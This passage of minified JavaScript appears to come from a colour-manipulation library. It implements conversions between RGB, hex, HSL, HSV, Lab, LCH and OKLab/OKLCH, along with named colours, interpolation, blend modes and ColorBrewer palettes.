ase 3:u=(n=[v,y,k])[0],i=n[1],l=n[2];break;case 4:u=(a=[m,v,k])[0],i=a[1],l=a[2];break;case 5:u=(f=[k,v,y])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},sr=l.unpack,pr=l.type,gr=m,vr=v,yr=d,mr=lr;vr.prototype.hcg=function(){return mr(this._rgb)},gr.hcg=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(vr,[null].concat(r,["hcg"])))},yr.format.hcg=br,yr.autodetect.push({p:1,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=sr(r,"M
hcg"),"array"===pr(r)&&3===r.length)return"hcg"}});var kr=l.unpack,wr=l.last,Mr=Math.round,_r=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=kr(r,"rgba"),n=t[0],a=t[1],f=t[2],o=t[3],c=wr(r)||"auto";void 0===o&&(o=1),"auto"===c&&(c=o<1?"rgba":"rgb");var u="000000"+((n=Mr(n))<<16|(a=Mr(a))<<8|(f=Mr(f))).toString(16);u=u.substr(u.length-6);var i="0"+Mr(255*o).toString(16);switch(i=i.substr(i.length-2),c.toLowerCase()){case"rgba":return"#"+u+i;case"argb":return"#"+i+u;default:return"#"+u}},Nr=/M
^#?([A-Fa-f0-9]{6}|[A-Fa-f0-9]{3})$/,Fr=/^#?([A-Fa-f0-9]{8}|[A-Fa-f0-9]{4})$/,xr=function(r){if(r.match(Nr)){4!==r.length&&7!==r.length||(r=r.substr(1)),3===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]);var e=parseInt(r,16);return[e>>16,e>>8&255,255&e,1]}if(r.match(Fr)){5!==r.length&&9!==r.length||(r=r.substr(1)),4===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]+r[3]+r[3]);var t=parseInt(r,16);return[t>>24&255,t>>16&255,t>>8&255,Math.round((255&t)/255*100)/100]}throw new Error("unknown hex coM
lor: "+r)},Pr=m,Rr=v,Gr=l.type,jr=d,Er=_r;Rr.prototype.hex=function(r){return Er(this._rgb,r)},Pr.hex=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Rr,[null].concat(r,["hex"])))},jr.format.hex=xr,jr.autodetect.push({p:4,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===Gr(r)&&[3,4,5,6,7,8,9].indexOf(r.length)>=0)return"hex"}});var Or=l.unpack,qr=l.TWOPI,Br=Math.min,Ir=Math.sqrt,Ar=Math.acos,Dr=functionM
(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=Or(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Br(a/=255,f/=255,o/=255),u=(a+f+o)/3,i=u>0?1-c/u:0;return 0===i?t=NaN:(t=(a-f+(a-o))/2,t/=Ir((a-f)*(a-f)+(a-o)*(f-o)),t=Ar(t),o>f&&(t=qr-t),t/=qr),[360*t,i,u]},Cr=l.unpack,Yr=l.limit,Sr=l.TWOPI,Lr=l.PITHIRD,$r=Math.cos,Tr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Cr(r,"hsi"))[0],o=r[1],c=r[2];return isNaN(f)&&(f=0),isNaN(o)&&(o=0),f>360&&(f-=360),f<0&&(f+=360),(f/=360)<1/3?n=1-M
((a=(1-o)/3)+(t=(1+o*$r(Sr*f)/$r(Lr-Sr*f))/3)):f<2/3?a=1-((t=(1-o)/3)+(n=(1+o*$r(Sr*(f-=1/3))/$r(Lr-Sr*f))/3)):t=1-((n=(1-o)/3)+(a=(1+o*$r(Sr*(f-=2/3))/$r(Lr-Sr*f))/3)),[255*(t=Yr(c*t*3)),255*(n=Yr(c*n*3)),255*(a=Yr(c*a*3)),r.length>3?r[3]:1]},Kr=l.unpack,Wr=l.type,Xr=m,Zr=v,Hr=d,zr=Dr;Zr.prototype.hsi=function(){return zr(this._rgb)},Xr.hsi=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Zr,[null].concat(r,["hsi"])))},Hr.format.hsi=Tr,Hr.autodetect.push({pM
:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Kr(r,"hsi"),"array"===Wr(r)&&3===r.length)return"hsi"}});var Ur=l.unpack,Vr=l.type,Jr=m,Qr=v,re=d,ee=B;Qr.prototype.hsl=function(){return ee(this._rgb)},Jr.hsl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Qr,[null].concat(r,["hsl"])))},re.format.hsl=T,re.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ur(r,"hsl"),"array"===Vr(r)M
&&3===r.length)return"hsl"}});var te=l.unpack,ne=Math.min,ae=Math.max,fe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=te(r,"rgb"))[0],o=r[1],c=r[2],u=ne(f,o,c),i=ae(f,o,c),l=i-u;return a=i/255,0===i?(t=Number.NaN,n=0):(n=l/i,f===i&&(t=(o-c)/l),o===i&&(t=2+(c-f)/l),c===i&&(t=4+(f-o)/l),(t*=60)<0&&(t+=360)),[t,n,a]},oe=l.unpack,ce=Math.floor,ue=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=oe(o,"hsv"))[0],h=o[1],b=o[2];if(b*=255,0===h)M
u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var s=ce(d/=60),p=d-s,g=b*(1-h),v=b*(1-h*p),y=b*(1-h*(1-p));switch(s){case 0:u=(r=[b,y,g])[0],i=r[1],l=r[2];break;case 1:u=(e=[v,b,g])[0],i=e[1],l=e[2];break;case 2:u=(t=[g,b,y])[0],i=t[1],l=t[2];break;case 3:u=(n=[g,v,b])[0],i=n[1],l=n[2];break;case 4:u=(a=[y,g,b])[0],i=a[1],l=a[2];break;case 5:u=(f=[b,g,v])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},ie=l.unpack,le=l.type,de=m,he=v,be=d,se=fe;he.prototype.hsv=function(){return se(this._rgb)},de.hsv=M
function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(he,[null].concat(r,["hsv"])))},be.format.hsv=ue,be.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=ie(r,"hsv"),"array"===le(r)&&3===r.length)return"hsv"}});var pe={Kn:18,Xn:.95047,Yn:1,Zn:1.08883,t0:.137931034,t1:.206896552,t2:.12841855,t3:.008856452},ge=pe,ve=l.unpack,ye=Math.pow,me=function(r){return(r/=255)<=.04045?r/12.92:ye((r+.055)/1.055,2.4)},ke=function(M
r){return r>ge.t3?ye(r,1/3):r/ge.t2+ge.t0},we=function(r,e,t){return r=me(r),e=me(e),t=me(t),[ke((.4124564*r+.3575761*e+.1804375*t)/ge.Xn),ke((.2126729*r+.7151522*e+.072175*t)/ge.Yn),ke((.0193339*r+.119192*e+.9503041*t)/ge.Zn)]},Me=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=ve(r,"rgb"),n=t[0],a=t[1],f=t[2],o=we(n,a,f),c=o[0],u=o[1],i=116*u-16;return[i<0?0:i,500*(c-u),200*(u-o[2])]},_e=pe,Ne=l.unpack,Fe=Math.pow,xe=function(r){return 255*(r<=.00304?12.92*r:1.055*Fe(r,1/2.4)-.055)},Pe=funM
ction(r){return r>_e.t1?r*r*r:_e.t2*(r-_e.t0)},Re=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Ne(r,"lab"))[0],o=r[1],c=r[2];return n=(f+16)/116,t=isNaN(o)?n:n+o/500,a=isNaN(c)?n:n-c/200,n=_e.Yn*Pe(n),t=_e.Xn*Pe(t),a=_e.Zn*Pe(a),[xe(3.2404542*t-1.5371385*n-.4985314*a),xe(-.969266*t+1.8760108*n+.041556*a),xe(.0556434*t-.2040259*n+1.0572252*a),r.length>3?r[3]:1]},Ge=l.unpack,je=l.type,Ee=m,Oe=v,qe=d,Be=Me;Oe.prototype.lab=function(){return Be(this._rgb)},Ee.lab=function(){for(var rM
=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Oe,[null].concat(r,["lab"])))},qe.format.lab=Re,qe.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ge(r,"lab"),"array"===je(r)&&3===r.length)return"lab"}});var Ie=l.unpack,Ae=l.RAD2DEG,De=Math.sqrt,Ce=Math.atan2,Ye=Math.round,Se=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Ie(r,"lab"),n=t[0],a=t[1],f=t[2],o=De(a*a+f*f),c=(Ce(f,a)*Ae+360)%360;return 0===YeM
(1e4*o)&&(c=Number.NaN),[n,o,c]},Le=l.unpack,$e=Me,Te=Se,Ke=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Le(r,"rgb"),n=t[0],a=t[1],f=t[2],o=$e(n,a,f),c=o[0],u=o[1],i=o[2];return Te(c,u,i)},We=l.unpack,Xe=l.DEG2RAD,Ze=Math.sin,He=Math.cos,ze=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=We(r,"lch"),n=t[0],a=t[1],f=t[2];return isNaN(f)&&(f=0),[n,He(f*=Xe)*a,Ze(f)*a]},Ue=l.unpack,Ve=ze,Je=Re,Qe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=M
(r=Ue(r,"lch"))[0],n=r[1],a=r[2],f=Ve(t,n,a),o=f[0],c=f[1],u=f[2],i=Je(o,c,u);return[i[0],i[1],i[2],r.length>3?r[3]:1]},rt=l.unpack,et=Qe,tt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=rt(r,"hcl").reverse();return et.apply(void 0,t)},nt=l.unpack,at=l.type,ft=m,ot=v,ct=d,ut=Ke;ot.prototype.lch=function(){return ut(this._rgb)},ot.prototype.hcl=function(){return ut(this._rgb).reverse()},ft.lch=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.biM
nd.apply(ot,[null].concat(r,["lch"])))},ft.hcl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(ot,[null].concat(r,["hcl"])))},ct.format.lch=Qe,ct.format.hcl=tt,["lch","hcl"].forEach(function(r){return ct.autodetect.push({p:2,test:function(){for(var e=[],t=arguments.length;t--;)e[t]=arguments[t];if(e=nt(e,r),"array"===at(e)&&3===e.length)return r}})});var it=d,lt=l.type,dt={aliceblue:"#f0f8ff",antiquewhite:"#faebd7",aqua:"#00ffff",aquamarine:"#7fffd4",azure:M
"#f0ffff",beige:"#f5f5dc",bisque:"#ffe4c4",black:"#000000",blanchedalmond:"#ffebcd",blue:"#0000ff",blueviolet:"#8a2be2",brown:"#a52a2a",burlywood:"#deb887",cadetblue:"#5f9ea0",chartreuse:"#7fff00",chocolate:"#d2691e",coral:"#ff7f50",cornflower:"#6495ed",cornflowerblue:"#6495ed",cornsilk:"#fff8dc",crimson:"#dc143c",cyan:"#00ffff",darkblue:"#00008b",darkcyan:"#008b8b",darkgoldenrod:"#b8860b",darkgray:"#a9a9a9",darkgreen:"#006400",darkgrey:"#a9a9a9",darkkhaki:"#bdb76b",darkmagenta:"#8b008b",darkolivegreen:"#556b2f",daM
rkorange:"#ff8c00",darkorchid:"#9932cc",darkred:"#8b0000",darksalmon:"#e9967a",darkseagreen:"#8fbc8f",darkslateblue:"#483d8b",darkslategray:"#2f4f4f",darkslategrey:"#2f4f4f",darkturquoise:"#00ced1",darkviolet:"#9400d3",deeppink:"#ff1493",deepskyblue:"#00bfff",dimgray:"#696969",dimgrey:"#696969",dodgerblue:"#1e90ff",firebrick:"#b22222",floralwhite:"#fffaf0",forestgreen:"#228b22",fuchsia:"#ff00ff",gainsboro:"#dcdcdc",ghostwhite:"#f8f8ff",gold:"#ffd700",goldenrod:"#daa520",gray:"#808080",green:"#008000",greenyellow:"#M
adff2f",grey:"#808080",honeydew:"#f0fff0",hotpink:"#ff69b4",indianred:"#cd5c5c",indigo:"#4b0082",ivory:"#fffff0",khaki:"#f0e68c",laserlemon:"#ffff54",lavender:"#e6e6fa",lavenderblush:"#fff0f5",lawngreen:"#7cfc00",lemonchiffon:"#fffacd",lightblue:"#add8e6",lightcoral:"#f08080",lightcyan:"#e0ffff",lightgoldenrod:"#fafad2",lightgoldenrodyellow:"#fafad2",lightgray:"#d3d3d3",lightgreen:"#90ee90",lightgrey:"#d3d3d3",lightpink:"#ffb6c1",lightsalmon:"#ffa07a",lightseagreen:"#20b2aa",lightskyblue:"#87cefa",lightslategray:"#M
778899",lightslategrey:"#778899",lightsteelblue:"#b0c4de",lightyellow:"#ffffe0",lime:"#00ff00",limegreen:"#32cd32",linen:"#faf0e6",magenta:"#ff00ff",maroon:"#800000",maroon2:"#7f0000",maroon3:"#b03060",mediumaquamarine:"#66cdaa",mediumblue:"#0000cd",mediumorchid:"#ba55d3",mediumpurple:"#9370db",mediumseagreen:"#3cb371",mediumslateblue:"#7b68ee",mediumspringgreen:"#00fa9a",mediumturquoise:"#48d1cc",mediumvioletred:"#c71585",midnightblue:"#191970",mintcream:"#f5fffa",mistyrose:"#ffe4e1",moccasin:"#ffe4b5",navajowhiteM
:"#ffdead",navy:"#000080",oldlace:"#fdf5e6",olive:"#808000",olivedrab:"#6b8e23",orange:"#ffa500",orangered:"#ff4500",orchid:"#da70d6",palegoldenrod:"#eee8aa",palegreen:"#98fb98",paleturquoise:"#afeeee",palevioletred:"#db7093",papayawhip:"#ffefd5",peachpuff:"#ffdab9",peru:"#cd853f",pink:"#ffc0cb",plum:"#dda0dd",powderblue:"#b0e0e6",purple:"#800080",purple2:"#7f007f",purple3:"#a020f0",rebeccapurple:"#663399",red:"#ff0000",rosybrown:"#bc8f8f",royalblue:"#4169e1",saddlebrown:"#8b4513",salmon:"#fa8072",sandybrown:"#f4a4M
60",seagreen:"#2e8b57",seashell:"#fff5ee",sienna:"#a0522d",silver:"#c0c0c0",skyblue:"#87ceeb",slateblue:"#6a5acd",slategray:"#708090",slategrey:"#708090",snow:"#fffafa",springgreen:"#00ff7f",steelblue:"#4682b4",tan:"#d2b48c",teal:"#008080",thistle:"#d8bfd8",tomato:"#ff6347",turquoise:"#40e0d0",violet:"#ee82ee",wheat:"#f5deb3",white:"#ffffff",whitesmoke:"#f5f5f5",yellow:"#ffff00",yellowgreen:"#9acd32"},ht=xr,bt=_r;v.prototype.name=function(){for(var r=bt(this._rgb,"rgb"),e=0,t=Object.keys(dt);e<t.length;e+=1){var n=M
t[e];if(dt[n]===r)return n.toLowerCase()}return r},it.format.named=function(r){if(r=r.toLowerCase(),dt[r])return ht(dt[r]);throw new Error("unknown color name: "+r)},it.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===lt(r)&&dt[r.toLowerCase()])return"named"}});var st=l.unpack,pt=l.type,gt=function(r){if("number"==pt(r)&&r>=0&&r<=16777215)return[r>>16,r>>8&255,255&r,1];throw new Error("unknown num color: "+r)},vt=m,yt=v,mt=d,kt=l.type,wt=fuM
nction(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=st(r,"rgb");return(t[0]<<16)+(t[1]<<8)+t[2]};yt.prototype.num=function(){return wt(this._rgb)},vt.num=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(yt,[null].concat(r,["num"])))},mt.format.num=gt,mt.autodetect.push({p:5,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(1===r.length&&"number"===kt(r[0])&&r[0]>=0&&r[0]<=16777215)return"num"}});var Mt=m,_t=v,Nt=d,FtM
=l.unpack,xt=l.type,Pt=Math.round;_t.prototype.rgb=function(r){return void 0===r&&(r=!0),!1===r?this._rgb.slice(0,3):this._rgb.slice(0,3).map(Pt)},_t.prototype.rgba=function(r){return void 0===r&&(r=!0),this._rgb.slice(0,4).map(function(e,t){return t<3?!1===r?e:Pt(e):e})},Mt.rgb=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(_t,[null].concat(r,["rgb"])))},Nt.format.rgb=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Ft(r,"rgba");retM
urn void 0===t[3]&&(t[3]=1),t},Nt.autodetect.push({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ft(r,"rgba"),"array"===xt(r)&&(3===r.length||4===r.length&&"number"==xt(r[3])&&r[3]>=0&&r[3]<=1))return"rgb"}});var Rt=Math.log,Gt=function(r){var e,t,n,a=r/100;return a<66?(e=255,t=a<6?0:-155.25485562709179-.44596950469579133*(t=a-2)+104.49216199393888*Rt(t),n=a<20?0:.8274096064007395*(n=a-10)-254.76935184120902+115.67994401066147*Rt(n)):(e=351.97690566805693+.114206453784165*(e=a-55)-M
40.25366309332127*Rt(e),t=325.4494125711974+.07943456536662342*(t=a-50)-28.0852963507957*Rt(t),n=255),[e,t,n,1]},jt=Gt,Et=l.unpack,Ot=Math.round,qt=m,Bt=v,It=d,At=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];for(var t,n=Et(r,"rgb"),a=n[0],f=n[2],o=1e3,c=4e4;c-o>.4;){var u=jt(t=.5*(c+o));u[2]/u[0]>=f/a?c=t:o=t}return Ot(t)};Bt.prototype.temp=Bt.prototype.kelvin=Bt.prototype.temperature=function(){return At(this._rgb)},qt.temp=qt.kelvin=qt.temperature=function(){for(var r=[],e=arguments.length;e-M
-;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Bt,[null].concat(r,["temp"])))},It.format.temp=It.format.kelvin=It.format.temperature=Gt;var Dt=l.unpack,Ct=Math.cbrt,Yt=Math.pow,St=Math.sign,Lt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Dt(r,"rgb"),n=t[0],a=t[1],f=t[2],o=[$t(n/255),$t(a/255),$t(f/255)],c=o[0],u=o[1],i=o[2],l=Ct(.4122214708*c+.5363325363*u+.0514459929*i),d=Ct(.2119034982*c+.6806995451*u+.1073969566*i),h=Ct(.0883024619*c+.2817188376*u+.6299787005*i);return[.M
2104542553*l+.793617785*d-.0040720468*h,1.9779984951*l-2.428592205*d+.4505937099*h,.0259040371*l+.7827717662*d-.808675766*h]};function $t(r){var e=Math.abs(r);return e<.04045?r/12.92:(St(r)||1)*Yt((e+.055)/1.055,2.4)}var Tt=l.unpack,Kt=Math.pow,Wt=Math.sign,Xt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=Tt(r,"lab"))[0],n=r[1],a=r[2],f=Kt(t+.3963377774*n+.2158037573*a,3),o=Kt(t-.1055613458*n-.0638541728*a,3),c=Kt(t-.0894841775*n-1.291485548*a,3);return[255*Zt(4.0767416621*f-3.307711591M
3*o+.2309699292*c),255*Zt(-1.2684380046*f+2.6097574011*o-.3413193965*c),255*Zt(-.0041960863*f-.7034186147*o+1.707614701*c),r.length>3?r[3]:1]};function Zt(r){var e=Math.abs(r);return e>.0031308?(Wt(r)||1)*(1.055*Kt(e,1/2.4)-.055):12.92*r}var Ht=l.unpack,zt=l.type,Ut=m,Vt=v,Jt=d,Qt=Lt;Vt.prototype.oklab=function(){return Qt(this._rgb)},Ut.oklab=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Vt,[null].concat(r,["oklab"])))},Jt.format.oklab=Xt,Jt.autodetect.pM
ush({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ht(r,"oklab"),"array"===zt(r)&&3===r.length)return"oklab"}});var rn=l.unpack,en=Lt,tn=Se,nn=l.unpack,an=ze,fn=Xt,on=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=nn(r,"lch"))[0],n=r[1],a=r[2],f=an(t,n,a),o=f[0],c=f[1],u=f[2],i=fn(o,c,u);return[i[0],i[1],i[2],r.length>3?r[3]:1]},cn=l.unpack,un=l.type,ln=m,dn=v,hn=d,bn=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=rn(r,"rgb"),n=tM
[0],a=t[1],f=t[2],o=en(n,a,f),c=o[0],u=o[1],i=o[2];return tn(c,u,i)};dn.prototype.oklch=function(){return bn(this._rgb)},ln.oklch=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(dn,[null].concat(r,["oklch"])))},hn.format.oklch=on,hn.autodetect.push({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=cn(r,"oklch"),"array"===un(r)&&3===r.length)return"oklch"}});var sn=v,pn=l.type;sn.prototype.alpha=function(r,e){return void 0===e&M
&(e=!1),void 0!==r&&"number"===pn(r)?e?(this._rgb[3]=r,this):new sn([this._rgb[0],this._rgb[1],this._rgb[2],r],"rgb"):this._rgb[3]},v.prototype.clipped=function(){return this._rgb._clipped||!1};var gn=v,vn=pe;gn.prototype.darken=function(r){void 0===r&&(r=1);var e=this.lab();return e[0]-=vn.Kn*r,new gn(e,"lab").alpha(this.alpha(),!0)},gn.prototype.brighten=function(r){return void 0===r&&(r=1),this.darken(-r)},gn.prototype.darker=gn.prototype.darken,gn.prototype.brighter=gn.prototype.brighten,v.prototype.get=functioM
n(r){var e=r.split("."),t=e[0],n=e[1],a=this[t]();if(n){var f=t.indexOf(n)-("ok"===t.substr(0,2)?2:0);if(f>-1)return a[f];throw new Error("unknown channel "+n+" in mode "+t)}return a};var yn=v,mn=l.type,kn=Math.pow;yn.prototype.luminance=function(r){if(void 0!==r&&"number"===mn(r)){if(0===r)return new yn([0,0,0,this._rgb[3]],"rgb");if(1===r)return new yn([255,255,255,this._rgb[3]],"rgb");var e=this.luminance(),t=20,n=function(e,a){var f=e.interpolate(a,.5,"rgb"),o=f.luminance();return Math.abs(r-o)<1e-7||!t--?f:o>rM
?n(e,f):n(f,a)},a=(e>r?n(new yn([0,0,0]),this):n(this,new yn([255,255,255]))).rgb();return new yn(a.concat([this._rgb[3]]))}return wn.apply(void 0,this._rgb.slice(0,3))};var wn=function(r,e,t){return.2126*(r=Mn(r))+.7152*(e=Mn(e))+.0722*(t=Mn(t))},Mn=function(r){return(r/=255)<=.03928?r/12.92:kn((r+.055)/1.055,2.4)},_n={},Nn=v,Fn=l.type,xn=_n,Pn=v,Rn=function(r,e,t){void 0===t&&(t=.5);for(var n=[],a=arguments.length-3;a-- >0;)n[a]=arguments[a+3];var f=n[0]||"lrgb";if(xn[f]||n.length||(f=Object.keys(xn)[0]),!xn[f])tM
hrow new Error("interpolation mode "+f+" is not defined");return"object"!==Fn(r)&&(r=new Nn(r)),"object"!==Fn(e)&&(e=new Nn(e)),xn[f](r,e,t).alpha(r.alpha()+t*(e.alpha()-r.alpha()))};Pn.prototype.mix=Pn.prototype.interpolate=function(r,e){void 0===e&&(e=.5);for(var t=[],n=arguments.length-2;n-- >0;)t[n]=arguments[n+2];return Rn.apply(void 0,[this,r,e].concat(t))};var Gn=v;Gn.prototype.premultiply=function(r){void 0===r&&(r=!1);var e=this._rgb,t=e[3];return r?(this._rgb=[e[0]*t,e[1]*t,e[2]*t,t],this):new Gn([e[0]*t,M
e[1]*t,e[2]*t,t],"rgb")};var jn=v,En=pe;jn.prototype.saturate=function(r){void 0===r&&(r=1);var e=this.lch();return e[1]+=En.Kn*r,e[1]<0&&(e[1]=0),new jn(e,"lch").alpha(this.alpha(),!0)},jn.prototype.desaturate=function(r){return void 0===r&&(r=1),this.saturate(-r)};var On=v,qn=l.type;On.prototype.set=function(r,e,t){void 0===t&&(t=!1);var n=r.split("."),a=n[0],f=n[1],o=this[a]();if(f){var c=a.indexOf(f)-("ok"===a.substr(0,2)?2:0);if(c>-1){if("string"==qn(e))switch(e.charAt(0)){case"+":case"-":o[c]+=+e;break;case"*M
":o[c]*=+e.substr(1);break;case"/":o[c]/=+e.substr(1);break;default:o[c]=+e}else{if("number"!==qn(e))throw new Error("unsupported value for Color.set");o[c]=e}var u=new On(o,a);return t?(this._rgb=u._rgb,this):u}throw new Error("unknown channel "+f+" in mode "+a)}return o};var Bn=v;_n.rgb=function(r,e,t){var n=r._rgb,a=e._rgb;return new Bn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"rgb")};var In=v,An=Math.sqrt,Dn=Math.pow;_n.lrgb=function(r,e,t){var n=r._rgb,a=n[0],f=n[1],o=n[2],c=e._rgb,u=c[0],i=c[1M
],l=c[2];return new In(An(Dn(a,2)*(1-t)+Dn(u,2)*t),An(Dn(f,2)*(1-t)+Dn(i,2)*t),An(Dn(o,2)*(1-t)+Dn(l,2)*t),"rgb")};var Cn=v;_n.lab=function(r,e,t){var n=r.lab(),a=e.lab();return new Cn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"lab")};var Yn=v,Sn=function(r,e,t,n){var a,f,o,c,u,i,l,d,h,b,s,p,g;return"hsl"===n?(o=r.hsl(),c=e.hsl()):"hsv"===n?(o=r.hsv(),c=e.hsv()):"hcg"===n?(o=r.hcg(),c=e.hcg()):"hsi"===n?(o=r.hsi(),c=e.hsi()):"lch"===n||"hcl"===n?(n="hcl",o=r.hcl(),c=e.hcl()):"oklch"===n&&(o=r.oklch()M
.reverse(),c=e.oklch().reverse()),"h"!==n.substr(0,1)&&"oklch"!==n||(u=(a=o)[0],l=a[1],h=a[2],i=(f=c)[0],d=f[1],b=f[2]),isNaN(u)||isNaN(i)?isNaN(u)?isNaN(i)?p=Number.NaN:(p=i,1!=h&&0!=h||"hsv"==n||(s=d)):(p=u,1!=b&&0!=b||"hsv"==n||(s=l)):p=u+t*(i>u&&i-u>180?i-(u+360):i<u&&u-i>180?i+360-u:i-u),void 0===s&&(s=l+t*(d-l)),g=h+t*(b-h),new Yn("oklch"===n?[g,s,p]:[p,s,g],n)},Ln=Sn,$n=function(r,e,t){return Ln(r,e,t,"lch")};_n.lch=$n,_n.hcl=$n;var Tn=v;_n.num=function(r,e,t){var n=r.num(),a=e.num();return new Tn(n+t*(a-n),M
"num")};var Kn=Sn;_n.hcg=function(r,e,t){return Kn(r,e,t,"hcg")};var Wn=Sn;_n.hsi=function(r,e,t){return Wn(r,e,t,"hsi")};var Xn=Sn;_n.hsl=function(r,e,t){return Xn(r,e,t,"hsl")};var Zn=Sn;_n.hsv=function(r,e,t){return Zn(r,e,t,"hsv")};var Hn=v;_n.oklab=function(r,e,t){var n=r.oklab(),a=e.oklab();return new Hn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"oklab")};var zn=Sn;_n.oklch=function(r,e,t){return zn(r,e,t,"oklch")};Math.pow,Math.sqrt,Math.PI,Math.cos,Math.sin,Math.atan2,Math.pow;var Un=m,Vn=funM
ction(r,e,t){if(!Vn[t])throw new Error("unknown blend mode "+t);return Vn[t](r,e)},Jn=function(r){return function(e,t){var n=Un(t).rgb(),a=Un(e).rgb();return Un.rgb(r(n,a))}},Qn=function(r){return function(e,t){var n=[];return n[0]=r(e[0],t[0]),n[1]=r(e[1],t[1]),n[2]=r(e[2],t[2]),n}};Vn.normal=Jn(Qn(function(r){return r})),Vn.multiply=Jn(Qn(function(r,e){return r*e/255})),Vn.screen=Jn(Qn(function(r,e){return 255*(1-(1-r/255)*(1-e/255))})),Vn.overlay=Jn(Qn(function(r,e){return e<128?2*r*e/255:255*(1-2*(1-r/255)*(1-eM
/255))})),Vn.darken=Jn(Qn(function(r,e){return r>e?e:r})),Vn.lighten=Jn(Qn(function(r,e){return r>e?r:e})),Vn.dodge=Jn(Qn(function(r,e){return 255===r?255:(r=e/255*255/(1-r/255))>255?255:r})),Vn.burn=Jn(Qn(function(r,e){return 255*(1-(1-e/255)/(r/255))}));Math.pow,Math.sin,Math.cos,Math.floor,Math.random,Math.log,Math.pow,Math.floor,Math.abs,Math.sqrt,Math.pow,Math.min,Math.max,Math.atan2,Math.abs,Math.cos,Math.sin,Math.exp,Math.PI;for(var ra={OrRd:["#fff7ec","#fee8c8","#fdd49e","#fdbb84","#fc8d59","#ef6548","#d730M
1f","#b30000","#7f0000"],PuBu:["#fff7fb","#ece7f2","#d0d1e6","#a6bddb","#74a9cf","#3690c0","#0570b0","#045a8d","#023858"],BuPu:["#f7fcfd","#e0ecf4","#bfd3e6","#9ebcda","#8c96c6","#8c6bb1","#88419d","#810f7c","#4d004b"],Oranges:["#fff5eb","#fee6ce","#fdd0a2","#fdae6b","#fd8d3c","#f16913","#d94801","#a63603","#7f2704"],BuGn:["#f7fcfd","#e5f5f9","#ccece6","#99d8c9","#66c2a4","#41ae76","#238b45","#006d2c","#00441b"],YlOrBr:["#ffffe5","#fff7bc","#fee391","#fec44f","#fe9929","#ec7014","#cc4c02","#993404","#662506"],YlGn:M
